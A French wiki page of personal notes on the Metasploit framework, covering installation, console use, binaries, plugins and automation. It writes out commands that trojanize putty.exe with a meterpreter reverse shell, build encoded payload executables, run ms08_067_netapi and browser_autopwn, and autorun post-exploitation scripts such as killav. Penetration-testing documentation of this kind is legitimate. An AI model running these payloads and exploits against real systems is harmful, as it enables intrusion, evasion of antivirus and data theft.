Metasploit
De Linuxmemo.
(→shell) |
(→shell) |
||
Ligne 39 : | Ligne 39 : | ||
use | use | ||
show options | show options | ||
+ | set | ||
+ | show advanced | ||
set | set | ||
show actions | show actions |
Version du 16 mars 2018 à 10:59
(voir meterpreter)
Sommaire |
Installation
apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby libiconv-ruby libreadline-ruby irb ri rubygems apt-get install git apt-get install build-essential ruby-dev libpcap-dev apt-get install rubygems libmysqlclient-dev
support mysql:
apt-get install mysql-server apt-get install rubygems libmysqlclient-dev gem install mysql apt-get install msgpack-python
git:
git clone https://github.com/rapid7/metasploit-framework.git metasploit
gem:
apt-get install libxslt-dev libxml2-dev gem install bundler Dans le rep du Gemfile bundler install
shell
help, info, set, show et use.
show exploits use show options set show advanced set show targets set show payloads set exploit
--
show auxiliary use show options set show advanced set show actions set exploit
show options Affiche la liste des options et valeurs courantes (celles spécifiées avec la commande set)
show exploits Affiche la liste des exploits
show targets Affiche la liste des cibles
show payloads Affiche la liste des payloads disponibles
show advanced Affiche les options avancées
search
Keywords:
edb : Modules with a matching Exploit-DB ID bid : Modules with a matching Bugtraq ID cve : Modules with a matching CVE ID author : Modules written by this author port : Modules with a matching remote port path : Modules with a matching path or reference name type : Modules of a specific type (exploit, auxiliary, or post) platform : Modules affecting this platform name : Modules with a matching descriptive name osvdb : Modules with a matching OSVDB ID app : Modules that are client or server attacks
Examples:
search cve:2009 type:exploit app:client
Binaires
http://www.offensive-security.com/metasploit-unleashed/Main_Page
- msfbinscan (outil rapide pour déterminer la vulnerabilité d'un binaire a une faille donnée)
./msfbinscan -i [DLL] |grep -P "^Size "
- msfcli (Client mode script)
./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=9030 LHOST=192.168.0.10 E
- msfconsole (Console)
- msfd (daemon Utilitaire qui ouvre le framework Metasploit pour l'accès distant)
- msfelfscan (outil de développement)
- msfencode (Camouflage des payload dans fichier en changeant la MD5)
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe
- msfgui (Interface graphique)
- msfmachscan (outil de développement)
- msfpayload (Injection de playload dans fichier (exe, doc ...))
./msfpayload -l ./msfpayload windows/shell_bind_tcp O ./msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C
- msfpescan (outil de développement déterminer le type de retour pop/pop/ret avec adresse fournie)
./msfpescan -D -a 0x767a38f6 win2000sp4.umpnpmgr.dll
- msfrop (outil de développement Return Oriented Programming (ROP) anti Windows "Data Execution Prevention" (DEP) a la recherche des "gadgets")
./msfrop -v metsrv.dll
- msfrpc (Client rpc)
./msfrpc -S -U msf -P msf -a 127.0.0.1
- msfrpcd (Daemon rpc)
./msfrpcd -U msf -P msf -f -S -a 127.0.0.1
- msfupdate (Mise a jour automatique en ligne)
./msfupdate
- Msfvenom (combinaison de msfpayload et msfencode en une seule commande)
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT DE SORTIE> > nomdefichier ./msfvenom --help-formats Executable formats dll, exe, exe-small, elf, macho, vba, vba-exe, vbs, loop-vbs, asp, aspx, war, psh, psh-net Transform formats raw, ruby, rb, perl, pl, bash, sh, c, js_be, js_le, java
./msfvenom -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3
./msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/jmp_call_additive LHOST=<NOTRE IP> | msfvenom -e x86/shikata_ga_nai -a x86 –platform windows -f exe > meter.exe
Arborescence des modules
Auxiliary La version 3.0 supporte le concept de modules auxiliaires qui peuvent être utilisés afin d'exécuter des actions arbitraires telles que le scan de ports, le déni de services entre autres. (Unlike exploit modules, auxiliary modules do not have a payload.)
Encoder
Exploit Les modules "Exploit" sont les modules principaux dans Metasploit.
Nop Les modules NOP sont utilisés pour les instructions de type "no-operation" pour exploiter les débordements de buffers.
Payload Les charges utilies (Payload en anglais) sont des portions de code (shellcode) exécutées lorsque l'exploit réussi. Les charges utiles permettent d'assurrer la communication entre Metasploit et la victime.
- (voir meterpreter)
Plugins
grep -A 1 "def desc" * | grep ".rb-"
alias.rb- "Adds the ability to alias console commands" auto_add_route.rb- "Adds routes for any new subnets whenever a session opens" beholder.rb- "Capture screenshots, webcam pictures, and keystrokes from active sessions" db_credcollect.rb- "Automatically grabs hashes and tokens from meterpreter session events and stores them in the db" db_tracker.rb- "Monitors socket calls and updates the database backend" ffautoregen.rb- "FileFormat AutoRegen Plugin" ips_filter.rb- "Scans all outgoing data to see if it matches a known IPS signature" lab.rb- "Adds the ability to manage VMs" msfd.rb- "Provides a console interface to users over a listening TCP port." msgrpc.rb- "Provides a MessagePack interface over HTTP" nessus.rb- "Nessus Bridge for Metasploit" nexpose.rb- "Integrates with the Rapid7 Nexpose vulnerability management product" openvas.rb- "Integrates with the OpenVAS - open source vulnerability management" pcap_log.rb- "Logs all socket operations to pcaps (in /tmp by default)" request.rb- 'Make requests from within Metasploit using various protocols.' sample.rb- "Demonstrates using framework plugins" session_tagger.rb- "Automatically interacts with new sessions" socket_logger.rb- "Log socket operations to a directory as individual files" sounds.rb- "Automatically plays a sound when various framework events occur" sqlmap.rb- 'sqlmap plugin for Metasploit' thread.rb- "Thread testing plugin" token_adduser.rb- "Attempt to add an account using all connected meterpreter session tokens" token_hunter.rb- "Search all active meterpreter sessions for specific tokens" wiki.rb- "Adds output to wikitext" wmap.rb- "Web assessment plugin"
Ajouter un exploit
Regarder dans le code la classe de l'exploit.
class Exploits::Windows::Misc::Doubletake
Recréer arborescence correspondante sous .msf4 dans votre répertoire utilisateur.
cd ~/.msf4 mkdir -p modules/exploits/windows/misc cp resp_ou_est_expoit/doubletake.rb modules/exploits/windows/misc/
Avant:
+ -- --=[ 302 exploits - 124 payloads
Apres:
+ -- --=[ 303 exploits - 124 payloads.
Maintenant vous pouvez utiliser le nouveau exploit.
Astuces
- Problème db_nmap root privileges
Installer en mode console sous le compte root (pour avoir l'env complet) rvm, gem install bundler, bundle install. Lancer msfconsole dans un screen pour détachement.
- Problème rvm et gem a réinstaller sans cesse:
http://lost-and-found-narihiro.blogspot.fr/2015/05/install-metasploit-on-ubuntu-1404.html
rvm --default use ruby-2.3.1@metasploit-framework gem install bundler bundle install
- db_connect automatique:
vim database.yml production: adapter: postgresql database: msf username: msf password: host: 127.0.0.1 port: 5432 pool: 75 timeout: 5
sudo echo export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/database.yml >> /etc/profile ou bien cp database.yml ~/.msf4/
- fichier de ressources
1-creation de fichier de commandes "monfichier.rc"
2-chargement du fichier de commandes avec "resource"
msf > resource monfichier.rc [*] Processing monfichier.rc for ERB directives. resource (karma.rc)> db_connect msf3:PASSWORD@127.0.0.1:7175/msf3
- meterpeter derrière 2 routeurs nat:
- les données télécharger sont stockées dans ~/.msf4/nom_module
- l'historique des commandes est dans ~/.msf4/history
- problème avec pcaprub bien souvant non compilé sur le système:
cd /opt/framework3/msf3/external/pcaprub ruby extconf.rb make make install
- ajout d'info ou d'un commentaire sur un "hosts"
hosts -i,--info Change the info of a host -n,--name Change the name of a host -m,--comment Change the comment of a host -t,--tag Add or specify a tag to a range of hosts
- mon msfconsole.rc
db_status id load alias alias u use alias so show options alias sa show advanced alias sac show actions alias i info alias s search alias ws workspace alias nmapdetail db_nmap -sU -sS -PN -p- -A alias nmapsweep db_nmap -sU -sS -PI -PU -PA --top-ports 100 -A echo "ce que je veux..." load db_credcollect #load ips_filter load wiki #load auto_add_route #load beholder #load session_tagger #load openvas #load pcap_log #load sqlmap #load wmap
- grep sur la sortie d'un commande
Par exemple sur un scan d'un module auxiliaire
Usage: grep [options] pattern cmd grep "[+]" exploit n'affiche que les bons résultats
Recettes
DB Postgres jointures
SELECT hosts.address, hosts.name, hosts.os_name, services.proto, services.port, services.name, services.state, services.info FROM hosts, services WHERE hosts.id = services.host_id AND services.state = 'open' AND services.port = '21'
ou
SELECT hosts.address, hosts.name, hosts.os_name, services.proto, services.port, services.name, services.state, services.info FROM hosts INNER JOIN services ON hosts.id = services.host_id AND services.state = 'open' AND services.port = '21'
ou
SELECT hosts.address, hosts.name, hosts.os_name, services.proto, services.port, services.name, services.state, services.info FROM hosts INNER JOIN services ON hosts.id = services.host_id WHERE services.state = 'open' AND services.port = '21' AND hosts.address >= '41.158.0.0' AND hosts.address <= '41.159.0.0' ORDER BY hosts.address
Voir: Sql
Automatisation
- Resource Scripts Files
can be specified with the -r option to the Metasploit Console and ~/.msf4/msfconsole.rc is automatically executed on startup if it exists. Resource Scripts can also be executed from the console prompt through the resource command. Until this morning, however, resource scripts were limited to simple console commands. Ruby code can now be directly inserted into the resource scripts.
- Plugins
Plugins add new console commands that provide a utlity or automation function.
- Auxiliary Module Custom Commands
doesn't take an actual payload like an exploit. Auxiliary modules handle things like reconnaisance, authentication bypass, network sniffing, and vulnerability discovery.
- Custom Auxiliary Modules
- Metasploit Remote API
The Metasploit Framework and Metasploit Pro both support automation using a documented Remote API.
- Ruby Programming
The APIs offered make it easy to embed a copy of the framework into another tool, parse the module database looking for a specific set of criteria, or even repurpose the existing network APIs to build something new.
- Exécution auto de script sur session meterpeter
Pour un script il suffit de paramétrer l'option avancé AutoRunScript
show advanced set AutoRunScript yourScript exploit -j -z
Pour plusieurs commandes, il faut faire appeler le script "multi_console_command" par AutoRunScript avec en paramètre un fichier de commande.
set AutoRunScript multi_console_command -rc /root/autoruncommands.rc
Exemple de fichier de commande autoruncommands.rc:
run post/windows/manage/migrate run getcountermeasure run killav run checkvm run scraper
Fichiers de ressources
Plugins "notify_mail": http://funoverip.net/wp-content/uploads/2012/10/notify_mail.rb_.gz
- browserauto
load notify_mail notify_mail_load use auxiliary/server/browser_autopwn set LHOST 192.168.0.30 set SRVPORT 80 set URIPATH / set AutoRunScript multi_console_command -rc ../autoruncommands.rc set LPORT_GENERIC 4444 set LPORT_JAVA 4445 set LPORT_LINUX 4442 set LPORT_MACOS 4443 set LPORT_WIN32 4441 exploit -j -z
- ms08_067_netapi
load notify_mail notify_mail_load use exploit/windows/smb/ms08_067_netapi set RHOST 192.168.0.104 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.0.10 set LPORT 9030 set AutoRunScript multi_console_command -rc ../autoruncommands.rc show options exploit -j -z
Development-Environment
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment